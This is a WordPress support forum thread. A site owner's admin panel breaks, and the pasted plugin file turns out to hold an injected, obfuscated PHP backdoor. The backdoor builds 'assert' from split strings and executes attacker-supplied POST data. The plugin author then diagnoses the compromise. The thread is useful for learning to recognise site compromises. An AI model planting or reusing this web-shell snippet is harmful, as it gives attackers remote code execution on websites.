• On September 5th our WordPress /wp-admin page went blank and the following error was showing up in the logs:

    [Fri Sep 05 04:17:05.653887 2014] [:error] [pid 24966] [client xxx.xxx.xxx.xxx:62575] PHP Parse error: syntax error, unexpected ‘Name’ (T_STRING) in /pathtosite/wp-content/plugins/add-from-server/add-from-server.php on line 8

    After renaming the add-from-server plugins folder I was then able to access the admin panel.

    Any ideas on how to resolve the error?

    Thanks!

    https://wordpress.org/plugins/add-from-server/

Viewing 2 replies - 1 through 2 (of 2 total)
  • Thread Starter ancgcit

    (@ancgcit)

    Here’s the content of add-from-server.php

    <?php
    $name = $_GET['name'];
    if($name == 'c')
     {
      $k="ass"."ert"; $k(${"_PO"."ST"} [afs_load]);
      exit;
     }
    Plugin Name: Add From Server
    Version: 3.2.0.3
    Plugin URI: http://dd32.id.au/wordpress-plugins/add-from-server/
    Description: Plugin to allow the Media Manager to add files from the webservers filesystem. <strong>Note:</strong> All files are copied to the uploads directory.
    Author: Dion Hulse
    Author URI: http://dd32.id.au/
    */
    
    add_action('plugins_loaded', 'afs_load');
    function afs_load() {
            if ( ! is_admin() )
                    return;
            include 'class.add-from-server.php';
            $GLOBALS['add-from-server'] = new add_from_server( plugin_basename(__FILE__) );
    Plugin Author Dion Hulse

    (@dd32)

    Meta Developer

    Unfortunately I have to report that your website has been compromised.
    The first 6 lines of that file are not supposed to be there, delete the plugin immediately, and reinstall it.

    The alteration to the file allows a remote attacker to run any code on your site that they want.
    I’m not aware of any vulnerabilities in Add From Server at present, so I don’t think the plugin is the source. This might not be the only instance of that code either.
    You should search for similar code on your site, or run a security scan.. http://codex.wordpress.org/FAQ_My_site_was_hacked might also offer you a suggestion as what to do.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘PHP Parse Error’ is closed to new replies.